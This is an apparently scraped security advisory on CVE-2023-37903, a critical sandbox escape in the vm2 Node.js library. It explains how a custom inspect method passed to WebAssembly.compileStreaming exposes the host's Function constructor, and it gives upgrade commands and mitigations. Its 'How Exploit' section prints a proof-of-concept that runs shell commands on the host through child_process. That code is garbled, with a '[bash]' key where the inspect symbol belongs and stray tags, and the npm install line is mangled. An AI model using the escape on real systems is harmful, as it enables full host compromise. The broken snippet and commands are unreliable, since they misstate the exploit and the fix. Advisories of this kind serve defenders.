vm2 (Nodejs sandbox), Sandbox Escape via Custom Inspect + WASM, CVE-2023-37903 (Critical)

Listen to this Post

This vulnerability in the vm2 library allows an attacker to escape the JavaScript sandbox and execute arbitrary commands on the host system.
The flaw exploits how Node.js handles the `util.inspect.custom` symbol and the `WebAssembly.compileStreaming` API. An attacker can define a malicious `[Symbol.for(‘nodejs.util.inspect.custom’)]` method on an object. When this object is passed to WebAssembly.compileStreaming, an internal Node.js error (ERR_INVALID_ARG_TYPE) is triggered.
During the error handling, the host’s `inspect` function is called on the attacker-controlled object. This gives the attacker access to the host’s `inspect` function and, through its constructor chain, the host’s `Function` constructor. This allows them to run arbitrary code, such as process.mainModule.require('child_process').execSync('ls -la'), completely bypassing the sandbox.
A previous incomplete attempt to block this was made via patriksimek/vm2@ebcfe94, but the vector remained exploitable, leading to a full sandbox escape.

DailyCVE Form

Platform: Node.js vm2.
Version: <=3.10.3.
Vulnerability: Sandbox Escape.
Severity: Critical (9.8).
Date: 2026-05-04.

Prediction: 2026-05-07.

What Undercode Say:

The `WebAssembly.compileStreaming()` API creates a bridge across the security boundary. The `inspect` function then becomes the attacker’s lifeline to the host.

Analytics

The following command can be used to check all running Node.js processes for the vulnerable vm2 library.
This helps identify potential exposure points on a server.
pm2 list
then check the process details for the 'vm2' package version in its 'node_modules' directory.

Bash Commands & Codes (Fix & Verify)

Check your current vm2 version
npm list vm2
Update to the patched version
npm install [email protected]
Verify the update was successful
npm list vm2

How Exploit:

A minimal proof-of-concept would typically be:

const { VM } = require("vm2");
const vm = new VM();
const code = <code>const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
obj = {
[bash]: (depth, opt, inspect) => {
inspect.constructor('return process.mainModule.require("child_process").execSync("ls -la")')();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(()=>{});</code>;
vm.run(code);

Protection from this CVE:

Immediate Upgrade: Update to vm2 version `3.11.0` or higher.
Code Review: Audit any existing use of `WebAssembly` and the `util.inspect` symbol.
Drop Capabilities: When using vm2, drop unnecessary host system capabilities (e.g., file system write access) from the Node.js process itself as a defense-in-depth measure.

Impact:

Successful exploitation leads to Remote Code Execution (RCE) on the host system. An attacker gains full access to the Node.js process’s privileges, allowing them to read/write files, install malware, pivot to internal networks, or exfiltrate data, resulting in a complete system compromise.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top